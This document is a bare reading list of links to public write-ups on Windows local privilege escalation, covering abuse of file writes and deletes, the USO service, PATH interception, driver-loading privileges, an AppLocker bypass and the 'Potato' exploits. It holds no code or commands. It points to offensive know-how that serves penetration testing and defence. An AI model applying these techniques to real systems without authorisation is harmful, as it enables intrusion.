* [Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero - Wednesday, April 18, 2018](https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html)
* [Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19, 2019](https://itm4n.github.io/usodllloader-part2/)
* [Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows](https://www.elladodelmal.com/2020/03/hacking-trick-environment-variable-path.html?m=1)
* [Abusing SeLoadDriverPrivilege for privilege escalation - 14 JUN 2018 - OSCAR MALLO](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
* [Universal Privilege Escalation and Persistence – Printer - AUGUST 2, 2021)](https://pentestlab.blog/2021/08/02/universal-privilege-escalation-and-persistence-printer/)
* [ABUSING ARBITRARY FILE DELETES TO ESCALATE PRIVILEGE AND OTHER GREAT TRICKS - March 17, 2022 | Simon Zuckerbraun](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks)
* [Bypassing AppLocker by abusing HashInfo - 2022-08-19 - Ian](https://shells.systems/post-bypassing-applocker-by-abusing-hashinfo/)
* [Giving JuicyPotato a second chance: JuicyPotatoNG - @decoder_it, @splinter_code](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)
* [IN THE POTATO FAMILY, I WANT THEM ALL - @BlWasp_ ](https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all)
* [Potatoes - Windows Privilege Escalation - Jorge Lajara - November 22, 2020](https://jlajara.gitlab.io/Potatoes_Windows_Privesc)